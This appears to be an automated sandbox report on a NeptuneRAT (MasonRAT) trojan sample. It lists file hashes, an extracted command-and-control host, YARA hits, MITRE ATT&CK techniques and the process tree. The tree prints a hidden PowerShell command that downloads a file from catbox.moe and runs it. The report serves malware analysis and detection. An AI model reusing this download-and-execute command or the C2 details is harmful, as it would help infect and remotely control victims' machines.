neptunerat | 17a58ccbd73e6c46dca0adb966a304a93c1fe28133169c25096e9fbfd438eca1

Analysis

user interaction
yes
max time kernel
13s
max time network
17s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/07/2026, 02:24

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General

Target
NeptuneRAT.exe
Size 26.1MB
Sample260702-cv8ppabs61
SHA256 17a58ccbd73e6c46dca0adb966a304a93c1fe28133169c25096e9fbfd438eca1
MD5 807bef42effd8f82ab06a919864c7ef8
SHA1 6a039a3b4db3f949e9b144ddea653c8cfa0e3c79
SHA512 07453e9f4a37364f5a5244bd0afa04591d8d4595e970f52926a4a865b72491f043d1286bf28feb09794bf614e6ce824d9251ca6ec324f3010de6a4d9b25c698c
SSDEEP 786432:l9Q+vOzVmgHKgzmeAkb21O1rS1j+ryV7oeo8HTbHjTiIQ:lXvOzVmXg91bSO1rSZh0nUHiI
TLSH
T166573310A621358FE18EF7325D16B6F3B47966528BAF340225EA1C8935CC3405EEEFE5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution neptunerat trojan

Malware Config

Extracted

Family

neptunerat

ko90oolkjjjkj-59089.portmap.host:59089

Signatures

Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Detects NeptuneRAT stealer 2 IoCs

resource	yara_rule
behavioral1/files/0x00080000000245f7-6.dat	family_neptunerat
behavioral1/memory/3272-14-0x00000000007C0000-0x00000000007D2000-memory.dmp	family_neptunerat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	3816	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3816	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	NeptuneRAT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	MasonClient.exe

Executes dropped EXE 1 IoCs

pid	Process
3272	MasonClient.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3816	powershell.exe
3816	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3272	MasonClient.exe
Token: SeDebugPrivilege	3816	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4688 wrote to memory of 3272	4688	NeptuneRAT.exe	84
PID 3272 wrote to memory of 3816	3272	MasonClient.exe	85

C:\Users\Admin\AppData\Local\Temp\NeptuneRAT.exe
"C:\Users\Admin\AppData\Local\Temp\NeptuneRAT.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4688
- C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
  "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3816

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

MasonClient.exe

Path C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
Size 49KB
SHA256 9ebb156422c46cca4c62e859aea8b7523489760800f78c813a8ed8b510499701
MD5 878b51eb8423b9f2eac3d47ba9f6aa5a
SHA1 7655d7971f8d04467ff73a966da64a60c60f9a32
SHA512 e2149d5db3b26ab602f83e995bf7c9200d3a86444681527714989fbde9e8542283f20438b4927efb0942be964252f6d54e558eb952f5032f62b729be47c6e970
SSDEEP 768:Y8xI54nHWzjGgUxwXTAZnRohdlGdVlSFlRbgQBNQPAvhJOZbuu:Y8xI5vGUAZqhdlMVlcbgIWcbOhuu
TLSH
T1A933E7C8B7E885A1C0FF1AB11EB3934956F076939416D60F7CE445DA2726B988B40EF3
MD5 SHA1 SHA512 SSDEEP TLSH

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__PSScriptPolicyTest_c3otbmeh.0nc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3otbmeh.0nc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3272-14-0x00000000007C0000-0x00000000007D2000-memory.dmp

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memory/3816-22-0x00000235F79E0000-0x00000235F7A02000-memory.dmp

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memory/4688-0-0x0000000000DF0000-0x000000000281C000-memory.dmp

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memory/4688-1-0x000000001D550000-0x000000001D560000-memory.dmp

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